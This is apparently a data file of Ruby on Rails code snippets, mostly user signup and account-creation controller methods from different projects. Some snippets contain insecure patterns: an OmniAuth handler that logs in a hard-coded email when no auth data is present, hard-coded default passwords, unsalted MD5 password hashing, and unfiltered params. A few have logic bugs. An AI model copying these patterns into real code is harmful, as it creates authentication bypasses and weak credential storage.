"def create_org_member\n @organization = Organization.find(params[:organization_id].to_i)\n @email = params[:email]\n\n @first_name = params[:first_name]\n @last_name = params[:last_name]\n @pw = params[:password]\n @pw_confirmation = params[:password_confirmation]\n\n # TODO check if authtoken is in sess variable\n # If so, only update user password\n \n # Allocate User account, dashboard, and profile \n @user = User.create(\n email: @email,\n password: @pw,\n password_confirmation: @pw_confirmation,\n organization: @organization\n )\n if @user\n Dashboard.create(\n lead_email: @email, \n lead_name: \"#{@first_name} #{@last_name}\",\n user: @user\n )\n\n profile = Profile.find_or_create_by!(email: @email) do |profile|\n profile.first_name = @first_name\n profile.last_name = @last_name\n profile.dashboard_registered = true\n end\n\n profile.update(user: @user)\n\n # Create zoho lead record\n if !@orgnization.nil? && @organization.name != 'test'\n ZohoService.save_to_zoho(profile)\n end\n\n #sign in newly created user\n sign_in(@user, scope: :user)\n # Setting up alias to map user id to mixapanel unique id. So we can use userid moving forward\n mixpanel_distinct_id = params[:distinct_id]\n @tracker.alias(@user.id,mixpanel_distinct_id)\n @tracker.people.set(@user.id,{\n '$first_name' => @user.profile.first_name,\n '$last_name' => @user.profile.last_name,\n '$email' => @user.email,\n '$phone' => @user.profile.phone\n },@user.current_sign_in_ip.to_s)\n @tracker.track(@user.id,'User account created for org. member')\n\n # flash[:notice] = 'Welcome to MyDomino!'\n \n render json: {\n message: 'User added',\n status: 200\n }, status: 200\n else\n render json: {\n message: 'Error adding user',\n status: 400\n }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n \n\n respond_to do |format|\n if @user.save\n\n #if a normal user is signing up, send a confirmation email\n if (!current_user || !@user.isConf)\n UserNotifier.send_signup_email(@user).deliver!\n if (!current_user)\n format.html { render :confirmation_process } \n end\n end\n\n\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_user\n User.new({\n email: 'hoge@hoge',\n password: 'hoge',\n password_confirmation: 'hoge'\n })\n end",
"def create\n @user = User.new(user_params)\n\n # Ensure the email addres is not a duplicate\n # If blank? returns true, then there is no user in the\n # database that has the same email as the user being created\n if User.where(email_address: @user.email_address).blank?\n if @user.save\n init_recur_plates @user # Setup recurring plate entry\n log_in @user # log in user right after sign up\n flash[:success] = 'Welcome to the LatePlate-o-Tron 3000!'\n redirect_to user_url(@user) # handle successful signup\n else\n render 'new'\n end\n # Make the user retry if the email is already being used\n elsif !User.where(email_address: @user.email_address).blank?\n flash[:danger] = 'A user with this email address already exists!'\n redirect_to root_url\n end\n end",
"def create\n\t\tcookies.delete 'auth_token'\n\t\treset_session\n\t\t\n\t\tself.new\n\t\t# User model doesn’t require email, but web login does\n\t\t@user.email_required = true\n\t\t@user.login_at = Time.current\n\t\t# anti-spam\n\t\tunless (params[:user].nil? or params[:user][:login].blank?) and (params[:user].nil? or params[:user][:url].blank?)\n\t\t\t# looks like a non-human is trying to auto-fill the form\n\t\t\traise Wayground::SpammerDetected\n\t\tend\n\t\t@user.save!\n\t\tself.current_user = @user\n\t\t\n\t\t# send email confirmation\n\t\tif @user.email_addresses[0] and Notifier.deliver_signup_confirmation(@user.email_addresses[0])\n\t\t\tflash[:notice] = \"Thanks for signing up! A confirmation email has been sent to you at #{@user.email}. Please look for a message from #{(WAYGROUND['SENDER'].gsub(/[><]/){|x|{'>'=>'>','<'=>'<'}[x]})}.\"\n\t\telse\n\t\t\tflash[:error] = \"Your new user account has been created, but there was an error when trying to send an email confirmation. Please contact the website administrator about this problem. #{WAYGROUND['EMAIL']}\"\n\t\tend\n\t\t\n\t\tredirect_to '/users/account'\n\trescue Wayground::SpammerDetected\n\t\tblock_spammer\n\t\t# skip the save, but let them think it was saved\n\t\tflash.now[:notice] = \"Thanks for signing up! A confirmation email has been sent to you at #{@user.email}. Please look for a message from #{(WAYGROUND['SENDER'].gsub(/[><]/){|x|{'>'=>'>','<'=>'<'}[x]})}.\"\n\t\t@page_title = 'User Account'\n\t\trender :action=>:account\n\trescue ActiveRecord::RecordInvalid\n\t\trender :action=>'new'\n\tend",
"def create\n user = AuthenticationManager.new(\n params.slice(%i[email first_name last_name password]).merge(is_profile_owner: true, password_confirmation: params[:password], tos_accepted: params.bool(:tos_accepted))\n ).register\n user = session_manager.login(user.email, params[:password], use_api_token: true)\n json_success user: api_response.current_user_data(user)\n end",
"def create_user\n fake_password = Faker::Internet.password\n params = {\n user: {\n username: Faker::Internet.user_name,\n email: Faker::Internet.email,\n password: fake_password,\n password_confirmation: fake_password\n }\n }\n post signup_post_url, { params: params }\n params[:user]\n end",
"def create\n @sign_up_user = SignUpUser.new(sign_up_user_params)\n # @sign_up_user = SignUpUser.new(user_params)\n\n respond_to do |format|\n if @sign_up_user.save\n format.html { redirect_to @sign_up_user, notice: 'Sign up user was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sign_up_user }\n else\n format.html { render action: 'new' }\n format.json { render json: @sign_up_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = build_resource\n\n if user.save\n set_flash_message :notice, :signed_up\n sign_in('user', user)\n respond_with user, :location => after_sign_up_path_for(user)\n else\n clean_up_passwords user\n respond_with user\n end\n end",
"def create\n @user = User.where(email: sign_up_params[:email]).first || User.new(sign_up_params)\n @account = Account.new(subdomain: sign_up_params[:subdomain])\n\n if @account.valid?\n\n # Don't send the typical confirmation email. We need to relate to the\n # account first as its subdomain is required in the email link.\n @user.skip_confirmation_notification!\n @user.save if @user.new_record?\n\n if resource.persisted?\n if @account.save\n\n # relate the user to the new account\n @account.account_users.create(user: @user, is_owner: true)\n\n Hanumi::OnboardingMailer.welcome_account(@account, @user).deliver_now\n\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource, @account)\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n respond_with resource, location: after_inactive_sign_up_path_for(resource, @account)\n end\n else\n @account.errors.each { |k, v| resource.errors.add(k, v) }\n flash[:alert] = resource.errors\n respond_with resource, location: new_user_registration_path\n end\n\n else\n clean_up_passwords resource\n set_minimum_password_length\n flash[:alert] = resource.errors\n respond_with resource, location: new_user_registration_path\n end\n else\n\n @account.errors.each { |k, v| resource.errors.add(k, v) }\n flash[:alert] = resource.errors\n respond_with resource, location: new_user_registration_path\n end\n end",
"def create\n\t params[:user][:login] = params[:user][:email_work] if params[:user][:login].blank?\n user = params[:user]\n @user = User.create(user)\n @user.valid? ? after_save(user) : error_responds(@user)\n end",
"def create_by_omniauth(auth)\n User.create do |user|\n user.assign_attributes(name: auth.info.name, email: auth.info.email,\n password: Devise.friendly_token[0, 20])\n user.skip_confirmation! if user.email\n user.link_with_omniauth(auth)\n end\n end",
"def create\n @user = User.new(user_params)\n \n # 잘못입력된 usertype에 대해 에러메시지 리턴 개선 코드 : [passenger, driver].include? @user.usertype, 루비는 not에 대한 메서드도 있다. ex) 물음표 메서드\n return error_message_response('Please choose either passenger or driver in usertype') if %w['passenger', 'driver'].include? @user.usertype\n\n # 잘못 입력된 비밀번호에 대해서 에러메시지 리턴\n return error_message_response('Password is empty') if @user.pwd.nil?\n\n # 6자리 미만으로 입력된 비밀번호에 대해서 에러메시지 리턴\n return error_message_response('Please write password at least 6 characters') if @user.pwd.length < 6\n # User가 제대로 생성되었을 때의 성공 메시지\n if @user.save\n @msg = {\n message: 'Account successfully registered'\n }\n render json: @msg, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def new\n @user_signup = User.new\n @is_signup = true\n end",
"def create_user\n if current_user.manager? || current_user.admin?\n @user = User.new(user_params)\n @user.password = 'test@123'\n @user.password_confirmation = 'test@123'\n redirect_to @user if @user.save\n else\n flash[:notice] = NOT_AUTHORIZED\n redirect_to home_index_path\n end\n end",
"def oauth_signup\n @user = User.new(\n nickname: params[:nickname],\n sex: params[:sex],\n phone: params[:phone],\n birthday: params[:birthday],\n province: params[:province],\n city: params[:city],\n area: params[:area] )\n @user.created_by_oauth = 'mobile'\n @user.authentications.build(\n uid: params[:oauth_uid],\n provider: params[:provider],\n access_token: params[:access_token])\n if @user.save\n @user.confirm!\n render :login\n else\n render json: {\n success: false,\n message: @user.errors.messages\n }\n end\n end",
"def create\n @user = User.new(user_params)\n #@user.profile_picture = \"/assets/images/default_profile.jpg\"\n if @user.save\n UserMailer.registration_confirmation(@user).deliver\n auth_token = AuthenticateUser.new(@user.email, @user.password).call\n response = {status: 'SUCCESS', message: Message.account_created, auth_token: auth_token }\n render json: response, status: :created\n else\n render json: {status: 'FAIL', message: \"Email already taken or passwords don\\'t match\"}, status: :ok\n end\n end",
"def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end",
"def create\n if params[:user][:password].blank?\n password = SecureRandom.base64(10)\n params[:user][:password] = password\n params[:user][:password_confirmation] = password\n end\n\n # Copied from devise-4.6.1/app/controllers/devise/registrations_controller.rb\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n # sign_up(resource_name, resource)\n # respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n # respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n\n resource.send_account_created_instructions\n else\n clean_up_passwords resource\n set_minimum_password_length\n # respond_with resource\n end\n @users = User.order(:last_name, :first_name)\n @user = current_user\n\n if @user.nil?\n redirect_to :root, notice: \"You have been signed up. Please check your email to set a password and complete your registration.\"\n else\n render :index\n end\n end",
"def create\n\t\t#get the user info\n\t\t\n\t\tauth = request.env[\"omniauth.auth\"]\n\t\tif auth == nil and \n\t\t\tif session[:temp] == true\n\t\t\t auth = {:info => {:email => \"jkoshakow@wesleyan.edu\"} }\n\t\t\telse\n\t\t\t auth = {:info => {:email => \"koshy44@gmail.com\"} }\t\n\t\t\tend\n\t\tend\n\t\t#whitelist \n\t\tif auth[:info][:email].to_s =~ /.+@wesleyan.edu/\n\t\t\tuser = User.find_by_uid(auth[\"uid\"]) || User.createUser(auth)\n\t\t\tsession[:user_id] = user.id \n\t\t\tsession[:admin] = user.admin\n\t\t\tsession[:authenticated] = true\n\t\t\tredirect_to links_path\n\t\telse\n\t\t\tsession[:authenticated] = false\n\t\t\tsession[:error] = \"Must have a wesleyan email address\"\n\t\t\tredirect_to root_path\n\t\tend\t\n\tend",
"def create\n @user = User.find_by_email_and_activated(params[:user][:email], false) # We can only register a user that hasn't been activated yet.\n \n if @user\n # Cases 2 and 3.\n params[:user].delete(:email) # They can't arbitrarily change their email address.\n @user.update_attributes(params[:user])\n else\n # Case 1.\n @user = User.new(params[:user].merge({:perishable_token => \"\"}))\n @user.reset_perishable_token!\n end\n \n # This is true when a user finishes their registration from a link in their email (Case 3),\n # which means we don't need to send an activation link.\n if params[:token] && User.find_using_perishable_token(params[:token], 0) == @user\n activate\n else\n # Cases 1 and 2. \n # Saving without session maintenance to skip\n # auto-login which can't happen here because\n # the user has not yet been activated\n if @user.save_without_session_maintenance\n @user.deliver_activation_instructions\n flash[:notice] = 'Registration successful. Please check your email to activate your account.'\n redirect_to shares_path\n else\n flash[:error] = 'Registration failed. Please try again.'\n redirect_to root_path\n end\n end\n end",
"def create\n user = User.new params.require(:user).permit(:email, :full_name, :password, :password_confirmation, :invite)\n \n user.should_validate_invite!\n user.should_validate_name!\n \n if user.valid?\n \n if user.invite.data && user.invite.data[:email] == user.email\n # Activate and login\n # \n user.save!\n\n if user.invite.owner.instance_of?(Company)\n user.invite.update(data: user.invite.data.merge({ user_id: user.id }) )\n else\n user.invite.destroy\n end\n \n warden.set_user(user, scope: :user)\n\n respond_to do |format|\n format.json { render json: { state: :login, previous_path: previous_path }}\n end\n else\n # Create activation token and send email\n # \n token = Token.create(\n name: :activation,\n data: { \n full_name: user.full_name,\n address: user.email,\n password_digest: user.password_digest,\n invite_id: user.invite.id\n }\n )\n\n ProfileMailer.activation_email(token).deliver\n SlackWebhooksWorker.perform_async(\n text: t('user.activities.started_to_sign_up', name: user.full_name, email: user.email)\n ) if should_perform_sidekiq_worker?\n\n respond_to do |format|\n format.json { render json: { state: :activation }}\n end\n end\n \n else\n respond_to do |format|\n format.json { render json: { errors: user.errors }, status: 403 }\n end\n end\n \n end",
"def create #sign up button\n @user = User.new(user_params)\n if @user.save\n login(@user)\n redirect_to user_url(@user)\n else\n flash.now[:errors] = @user.errors.full_messages\n render :new\n end\n end",
"def create\n # Where do we want to redirect to with our new session\n path = cookies.encrypted[:continue] || success_path\n\n # Get auth hash from omniauth\n auth = request.env[OMNIAUTH]\n\n if auth.nil?\n return login_failure({})\n end\n\n # Find an authentication or create an authentication\n auth_model = ::Auth::Authentication.from_omniauth(auth)\n\n # adding a new auth to existing user\n if auth_model.nil? && signed_in?\n logger.info \"User signed in and re-authenticating\"\n\n ::Auth::Authentication.create_with_omniauth(auth, current_user.id)\n redirect_to path\n Auth::Authentication.after_login_block.call(current_user, auth[PROVIDER], auth)\n\n # new auth and new user\n elsif auth_model.nil?\n args = safe_params(auth.info)\n user = ::User.new(args)\n\n # Use last name and first name by preference\n fn = args[:first_name]\n if fn && !fn.empty?\n user.name = \"#{fn} #{args[:last_name]}\"\n end\n\n authority = current_authority\n\n existing = ::User.find_by_email(authority.id, user.email)\n user = existing if existing\n user.deleted = false if user.respond_to?(:deleted)\n\n user.authority_id = authority.id\n\n # now the user record is initialised (but not yet saved), give\n # the installation the opportunity to modify the user record or\n # reject the signup outright\n result = Auth::Authentication.before_signup_block.call(user, auth[PROVIDER], auth)\n\n logger.info \"Creating new user: #{result.inspect}\\n#{user.inspect}\"\n \n if result != false && user.save\n # user is created, associate an auth record or raise exception\n Auth::Authentication.create_with_omniauth(auth, user.id)\n\n # make the new user the currently logged in user\n remove_session\n new_session(user)\n\n # redirect the user to the page they were trying to access and\n # run any custom post-login actions\n redirect_to path\n Auth::Authentication.after_login_block.call(user, auth[PROVIDER], auth)\n else\n logger.info \"User save failed: #{user.errors.messages}\"\n\n # user save failed (db or validation error) or the before\n # signup block returned false. redirect back to a signup\n # page, where /signup is a required client side path.\n store_social(auth[UID], auth[PROVIDER])\n redirect_to '/signup/index.html?' + auth_params_string(auth.info)\n end\n\n # existing auth and existing user\n else\n begin\n # Log-in the user currently authenticating\n remove_session if signed_in?\n user = User.find_by_id(auth_model.user_id)\n new_session(user)\n redirect_to path\n Auth::Authentication.after_login_block.call(user, auth[PROVIDER], auth)\n rescue => e\n logger.error \"Error with user account. Possibly due to a database failure:\\nAuth model: #{auth_model.inspect}\\n#{e.inspect}\"\n raise e\n end\n end\n end",
"def create\n if Feedbunch::Application.config.signups_enabled\n super\n else\n Rails.logger.warn \"Creation of new user attempted, but signups are disabled\"\n redirect_to root_path\n end\n end",
"def create_user_type(type)\n if User.find_by_username(type).nil?\n User.create({ \n email: \"#{type}@#{type}.com\", \n username: \"#{type}\",\n university: University.first,\n role: User.roles[type],\n password: 'password',\n encrypted_password: Devise.bcrypt(User, 'password')\n })\n end\nend",
"def create\n @user = User.new(params[:user])\n @user.customer = Customer.new(params[:user][:customer_attributes])\n @user.origin = Origin.find_by_code(cookies[:origin]) if (cookies[:origin] and !Origin.find_by_code(cookies[:origin]).nil?)\n @user.partner_id = partner\n @quietly_create = params[:quietly_create] || false\n \n if User.exists?(:email => @user.email)\n flash[:error] = \"<img src='/images/logo.png' align='left' width='99' style='margin: 0pt 10px 10px 0pt; position: relative; top: -12px;'/><strong>This email is already registered with WTD</strong>. <br/><br/>Forgot your password? You can <a href='/forgot_password'>reset your password here</a>.\"\n redirect_to login_path and return\n end\n \n # setup promo code from params\n if !params[:referral_code].blank? and PromotionCode.exists?(:code => params[:referral_code])\n @promotion_code = PromotionCode.find_by_code(params[:referral_code])\n elsif !session[:stored_promotion_code_id].blank? and PromotionCode.find(session[:stored_promotion_code_id])\n @promotion_code = PromotionCode.find(session[:stored_promotion_code_id])\n else\n @promotion_code = nil\n end\n\n # quiet create extras\n if @quietly_create\n # @user.email_confirmation = @user.email if @user.email_confirmation.blank?\n @user.password = @user.temporary_password\n @user.password_confirmation = @user.password\n @user.quietly_created = true\n @user.customer.quietly_created = true\n end\n\n # add survey question if present\n session[:survey_question_value] = params[:survey_question_value] unless params[:survey_question_value].blank?\n \n # update subscriptions and tracking analytics\n if @user.update_subscriptions(request.referrer, nil, true)\n session[:new_subscriber] = true\n session[:new_subscriber_email] = @user.email\n end\n \n \n # check promo code and attempt to save user\n if !@promotion_code.nil? and !@promotion_code.redeemable?\n flash[:error] = 'Sorry, but that promo code is not redeemable!'\n render :action => 'new'\n elsif @user.save \n flash[:notice] = \"<strong>Success! You're officially part of the WTD family.</strong>\" unless @quietly_create\n \n # trigger analytics to track\n session[:new_user] = true\n session[:new_subscriber_user_id] = @user.id\n\n # check referrals and credits\n unless @promotion_code.nil?\n unless @promotion_code.bad_referral?(@user.id)\n @credit = Credit.new\n @credit.promotion_code_id = @promotion_code.id\n @credit.value = @promotion_code.value\n @credit.user_id = @user.id\n @credit.referrer_user_id = @promotion_code.user_id\n @credit.save\n else\n flash[:error] = \"Sorry, but there seems to be something wrong with your referral. Please check back in an hour or email us at support@sowhatsthedeal.com.\"\n end\n end\n \n flash[:notice] = params[:flash_notice] || \"Welcome, you are now officially part of the WTD family!\"\n flash[:notice] += \"<br/><br/><strong>Please <a href='/users/change_password'>choose a password</a> to complete your WTD account.</strong>\" if @user.quietly_created?\n flash[:notice] = \"Thanks for signing up for Half Price DC\" if partner == 3\n redirect_to session[:return_to] ? session[:return_to] : my_account_path\n else\n @user.password = \"\"\n @user.password_confirmation = \"\"\n flash[:error] = \"<strong>Be sure to include your first name, last name and a valid email address</strong>. <br/><br/>Remember, If you subscribed to our newsletter, you already have an account. Forgot your password? You can <a href='/forgot_password'>reset your password here</a>.\" if @user.errors.empty?\n session[:return_to] ? redirect_to(session[:return_to]) : render(:action => 'new')\n end\n end",
"def sign_up(resource_name, resource)\r\n # Create an account for this user.\r\n account = Account.create(name: \"#{resource.email}'s account\")\r\n \r\n # Sign in the user (from the original Devise::RegistrationsController).\r\n sign_in(resource_name, resource)\r\n end",
"def create\n @user = User.new(SiteConfig.default_user_attributes.merge( user_params || {} ) )\n # Наличие пароля не обязательно при создании, необходимо так же сделать кнопочки чтобы администратор мог инициировать смену пароля пользователем через email, sms\n\n unless @user.persisted?\n @user.creation_reason = :manager\n @user.build_account\n end\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to edit_admin_user_path(@user, :tab => params[:tab]), :notice => 'Пользователь был успешно создан.' }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def social_sign_up\n user = nil\n external_uid = nil\n success_message = nil\n ActiveRecord::Base.transaction do\n user = User.where(email: params[:user_email]).first_or_initialize\n success_message = \"User retrieved.\"\n if user.new_record?\n success_message = \"User saved.\"\n user.do_password_validation = false\n UserMailer.signupsuccess(user).deliver\n return unless user.save\n end\n external_uid = ExternalUID.where(uid: params[:uid], user_id: user.id).first_or_initialize\n if external_uid.new_record?\n raise ActiveRecord::Rollback unless external_uid.save\n end\n end\n if user.persisted? && external_uid.persisted?\n render :json => {:error => false, :description => success_message, :auth_token => user.authentication_token}\n else\n errors = {}\n errors[:user] = user.errors.messages if user.errors.any?\n errors[:uid] = external_uid.errors.messages if external_uid.errors.any?\n render :json => {:error => true, :description => \"Error saving user\", :errors => errors}, status: 500\n end\n rescue Exception => e\n render :json => {:error => true, :description => \"Internal Server Error.\"}, status: 503 and return\n end",
"def create_user\n\n security_code = SecureRandom.hex(4)\n user = User.new(name: params[:name], email: params[:email], password: security_code, password_confirmation: security_code)\n if user.valid?\n if user.save\n # Aplica lo logica necesaria\n #ApplicationMailer.registration_candidate(user, security_code).deliver# notifica el registro por correo\n @log.current_user = user\n @log.registration_auditory(controller_name + '/' + __method__.to_s, Constant::CONST_REGISTER_CANDIDATE, request.remote_ip)\n render json: {status: 200, payload: {message: Constant::CONST_CANDIDATE_REGISTRED, type: Constant::CONST_TYPE_FLASH_MESSAGE_SUCESS}}\n else\n # almacena el error y notifica al administrador del sistema\n #ApplicationMailer.registration_error(@log.registration_error(user.errors.full_messages, controller_name + '/' + __method__.to_s, Constant::CONST_INITIAL_PASSWORD, request.remote_ip)).deliver\n render json: {status: 500, payload: {message: Constant::CONST_INTERNAL_SERVER_ERROR, type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n else\n render json: {status: 400, payload: {message: user.errors.full_messages.first.gsub(user.errors.full_messages.first.split[0]+' ','') , type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n end",
"def create_user(id)\n end_user = EndUser.find(id)\n self.first_name = end_user.first_name\n self.last_name = end_user.self\n last_name.dob = end_user.dob\n self.mobile = end_user.mobile\n self.gender = end_user.gender\n self.email = end_user.email\n self.user_name = end_user.user_name\n self.agent_id = end_user.agent_id\n self.location = end_user.location\n self.address = end_user.address\n self.zip = end_user.zip\n self.password = User.reset_password_token if self.password == nil\n self.reset_password_token= User.reset_password_token\n self.reset_password_sent_at = Time.now\n self.claim_status = true\n #UserRole.create(:user_id => self.id,:role_id => 3)\n self\n end",
"def signup\n return set_session_user_id!(nil, 'Введите данные.') { render :signup_new } if params_valid?(:signup)\n LdapService.mutex.synchronize do\n ldap_result = LdapService.new.add(\n email: params[:email],\n password: params[:password],\n name: params[:name],\n surname: params[:surname],\n role: 'painter'\n )\n return set_session_user_id!(nil, 'Невозможно зарегистрироваться.') { render :signup_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signup_new }\n end\n end",
"def new\n @user = User.new\n @is_signup = true\n end",
"def create\n\n (super and return) if request.format.html?\n\t user = User.new(allow_registration_parameters)\n\t if user.save\n\t render :json=> { :status => 201, :user => user , :token => user.authentication_token }\n\t return\n\t else\n\t warden.custom_failure!\n errors = user.errors.full_messages.join(\"<br/>\").html_safe\n\t render :json=> {:status=>422,:message => errors}\n\t end\n\tend",
"def create\n authorize User\n @user = User.new(user_params)\n @user.operator = current_user\n @user.set_auto_generated_password\n\n respond_to do |format|\n if @user.save\n role = Role.where(:name => 'User').first\n user_has_role = UserHasRole.new\n user_has_role.assign_attributes({:user_id => @user.id, :role_id => role.id})\n user_has_role.save\n flash[:temporary_password] = @user.password\n format.html { redirect_to @user, notice: t('controller.successfully_created', model: t('activerecord.models.user')) }\n format.json { render json: @user, :status => :created, :location => @user }\n else\n prepare_options\n flash[:error] = t('user.could_not_setup_account')\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def register(attributes = {})\n user = PublicEarth::Db::User.new(attributes)\n \n if attributes[:username].blank?\n user.errors.add(:username, \"A username is required.\") \n elsif attributes[:username] =~ /[^\\w\\-\\_\\!\\@\\$\\?]/\n user.errors.add(:username, \"A username may only contain letters, numbers or the following characters: -_!@$?\") \n elsif PublicEarth::Db::User.find_by_username(attributes[:username])\n user.errors.add(:username, \"The username #{attributes[:username]} is already taken.\") \n end\n \n if attributes[:email].blank?\n user.errors.add(:email, \"An email address is required.\") \n elsif PublicEarth::Db::User.find_by_email(attributes[:email])\n user.errors.add(:email, \"The email address #{attributes[:email]} is already taken.\") \n end\n\n if attributes[:email] !~ /^[a-zA-Z0-9._%+-]+@(?:[a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,4}$/ \n user.errors.add(:email, \"A valid email address is required (eg, myname@somedomain.com).\")\n end\n \n if attributes[:password].blank?\n user.errors.add(:password, \"A password is required.\") \n elsif attributes[:password] != attributes[:password_confirmation]\n user.errors.add(:password, \"The password and its confirmation don't match.\")\n end\n\n if user.errors.empty?\n begin\n user.attributes = one.create(attributes[:username], attributes[:email], attributes[:password], generate_token)\n rescue\n logger.error(\"Failed to create user account for #{attributes.inspect}: #{$!}\")\n user.errors.add_to_base(\"Unable to create a user account for #{attributes[:username]}.\")\n end\n end\n\n user\n end",
"def create\n @user = User.new(signup_params)\n if @user.save\n sign_in @user\n respond_to do |format|\n \tformat.json { render json: @user }\n end\n else\n # render :new\n end\n end",
"def create\n @corporate_user, password = User.create_corp_user(corporate_user_params)\n respond_to do |format|\n if @corporate_user.save\n admin_email = User.where(id: @corporate_user.parent_id).first.email\n InviteUser.corporate_user_confirmation(@corporate_user,admin_email,password).deliver\n format.html { redirect_to corporate_users_path, notice: \"#{APP_MSG['corporate_user']['create']}\" }\n format.json { render :show, status: :created, location: corporate_user_path }\n else\n format.html { render :new }\n format.json { render json: @corporate_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create!\n self.save\n self.set_lookup(:login) if self.is_a?(User)\n :ok\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to sign_in_path\n\t\telse\n\t\t\tredirect_to sign_up_path\n\t\tend\n\tend",
"def create\n if params[:guest]\n @user = User.create(name_family: \"\", name_first: \"\", name_family_kana: \"\", name_first_kana: \"\", phone_number: \"\",\n handle_name: \"guest#{ SecureRandom.random_number(9999) }\",\n user_status: \"guest\",\n password: SecureRandom.alphanumeric(6), confirmed_at: DateTime.now)\n @user.update(email: \"#{ @user.handle_name }@guest.com\")\n sign_in @user\n flash[:notice] = 'ゲスト会員でログインしました。'\n redirect_to root_path\n return\n end\n @user = User.new(sign_up_params)\n render :new and return if params[:back]\n super\n end",
"def signup_info\n end",
"def signup\n puts 'signup is happening here'\n permitted = params.require('signup').permit(['email', 'password', 'password_confirmation'])\n @newUser = User.new(permitted)\n if @newUser.save\n head :ok\n else\n render json:{\"reason\": \"could not create user\"}, status: 422\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.create_first\n flash[:message] = t('welcome', scope: 'refinery.authentication.devise.users.create', who: @user)\n sign_in(@user)\n redirect_back_or_default(Refinery::Core.backend_path)\n else\n render :new\n end\n end",
"def create\n @user = User.create(params[:user]) \n \n if @user.save\n sign_in @user\n flash[:succeess] = \"Sign up successfully\" \n redirect_to @user\n else\n render 'new'\n end\n \n end",
"def create\n auth = request.env[\"omniauth.auth\"]\n user_info = auth[\"info\"] ? auth[\"info\"] : auth[\"user_info\"]\n authentication = Authorization.where(:provider => auth['provider'], :uid => auth['uid']).first\n authentication = Authorization.new(:provider => auth['provider'], :uid => auth['uid']) if !authentication\n session[:fb_token] = auth['credentials']['token'] if auth['credentials']['token'] != nil\n # if the user exists, but does not have a link with the social service\n if !authentication.user && current_user\n authentication.user = current_user\n authentication.save\n end\n # twitter only (gets no email)\n if !authentication.user && !user_info[\"email\"]\n flash[:notice] = \"No user linked to this account. Please sign in or create a new account\"\n redirect_to '/users/sign_up/'\n # if user doesnt exists, register user\n elsif !authentication.user\n user = User.where(email: user_info['email']).first\n if user\n authentication.user = user\n else\n new_user = User.new(email: user_info['email'], username: user_info['name'], first_name: user_info['first_name'], last_name: user_info['last_name'], role: \"registered\")\n new_user.save\n authentication.user = new_user\n end\n authentication.save\n end\n # if user exists, sign in. Gives a Mongoid glitch of not signing in after registration. So double sign in\n if authentication.user\n if !current_user\n sign_in authentication.user\n sign_out authentication.user\n sign_in authentication.user\n # raise \"user signed in? #{user_signed_in?.to_s}\".inspect\n flash[:notice] = \"Authorization successful.\"\n redirect_to root_path\n else\n flash[:notice] = \"Linked successfully.\"\n redirect_to '/users/'+current_user.id\n end\n end\n end",
"def create_new_user\n username = find_username\n @user = User.new(\n email: auth_email,\n username: username,\n password: Devise.friendly_token[0, 20]\n )\n @user.skip_confirmation!\n @user.save!\n\n @user\n end",
"def create\n @user=User.new(params[:user])\n if !@user.nil?\n pw_hash = Digest::MD5.hexdigest(@user.password)\n #if validation was ok we can update the user\n if @user.save\n #update pw with hash\n @new_user = User.find(@user.id)\n @new_user.password = pw_hash\n #set user status to inactive\n @new_user.status = false;\n #generate random token for confirmation mail\n uuid = UUID.new\n @new_user.registration_token = uuid.generate\n @new_user.save\n #send the mail\n Notifier.send_registration_confirmation(@new_user).deliver\n flash[:notice] = \"User was successfully created\"\n redirect_to :root\n else\n render :action => \"/new\"\n end\n\n else\n render :action => \"/new\"\n end\n\n end",
"def create\n # redirect user if already logged in\n if current_user\n redirect_to root_path\n else\n user = User.new(user_params)\n if user.save\n session[:user_id] = user.id\n flash[:notice] = \"Successfully signed up.\"\n redirect_to profile_path #root_path\n else\n flash[:error] = user.errors.full_messages.join(', ')\n redirect_to signup_path\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n # if super user create something, do not send confirmation, activate tis account & login as this user \n if current_user and current_user.super_user?\n @user.confirm_email!\n UserSession.create(@user)\n flash[:success] = \"Votre compte a été créé avec succès.\"\n else\n @user.maybe_deliver_email_confirmation! self\n flash[:success] = \"Votre compte a été créé avec succès, un email de confirmation vous a été envoyé.\"\n end\n\n redirect_to @user\n else\n flash[:danger] = \"Une erreur est survenue.\"\n render :new\n end\n end",
"def create_employee_user\n email = self.work_email\n user = User.new(email: self.work_email, password: 'appsimpact@#123', role: 'employee')\n user.save\n self.user_id = user.id\n end",
